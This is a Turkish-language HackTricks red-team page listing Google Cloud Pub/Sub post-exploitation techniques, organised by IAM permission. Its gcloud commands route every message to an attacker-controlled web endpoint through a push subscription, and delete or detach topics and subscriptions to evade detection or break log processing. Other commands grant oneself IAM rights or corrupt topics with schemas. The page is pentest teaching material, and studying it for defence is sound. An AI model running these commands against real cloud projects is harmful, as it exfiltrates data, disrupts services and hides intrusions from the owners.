GCP - Pub/Sub Post Exploitation

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Pub/Sub

Pub/Sub hakkında daha fazla bilgi için aşağıdaki sayfaya bakın:

pageGCP - Pub/Sub Enum

pubsub.topics.publish

Bir konuda bir mesaj yayınlayın, beklenmeyen veri göndermek ve beklenmedik işlevsellikleri tetiklemek veya zafiyetleri sömürmek için kullanışlıdır:

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

Bu, bir aboneliğin mesaj almasını engellemek için kullanışlıdır, belki de tespit edilmeyi önlemek için.

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

Bir aboneliğin mesaj almasını engellemek için kullanışlıdır, belki de tespit edilmekten kaçınmak için. Bir konuya bağlı abonelikler olsa bile bir konuyu silmek mümkündür.

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

Bu izni kullanarak, --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key gibi konunun bazı ayarlarını güncelleyerek bozmak için kullanabilirsiniz.

pubsub.topics.setIamPolicy

Kendinize önceki saldırılardan herhangi birini gerçekleştirme izni verin.

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Bir web sunucusunda tüm mesajları alın:

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

Bir abonelik oluşturun ve bunu kullanarak mesajları çekin:

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

Bir aboneliği silmek bir günlük işleme sistemi veya benzer bir şeyi bozmak için kullanışlı olabilir:

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Bu izni kullanarak, mesajların erişebileceğiniz bir yere (URL, Big Query tablosu, Bucket) kaydedilmesi veya sadece işleyişini bozmak için bazı ayarları güncelleyebilirsiniz.

pubsub.subscriptions.setIamPolicy

Daha önce yorumlanan saldırıları gerçekleştirmek için gereken izinleri kendinize verin.

pubsub.schemas.delete

Şemayı silerek, şemayı karşılamayan mesajları gönderebilirsiniz.

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Bir şemayı bir konuya ekleyerek mesajların şemayı karşılamamasını sağlayın ve böylece konu bozulur. Eğer hiçbir şema yoksa, bir tane oluşturmanız gerekebilir.

schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}

```bash # Attach new schema gcloud pubsub topics update projects//topics/ \ --schema=projects//schemas/ \ --message-encoding=json ``` ### `pubsub.schemas.setIamPolicy`

Kendinize, önceden yorumlanmış saldırıları gerçekleştirmek için gereken izinleri verin.

pubsub.snapshots.create, pubsub.snapshots.seek

Bu, tüm onaylanmamış mesajların bir anlık görüntüsünü oluşturacak ve bunları aboneliğe geri yerleştirecektir. Bir saldırgan için çok kullanışlı olmasa da işte burada:

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Last updated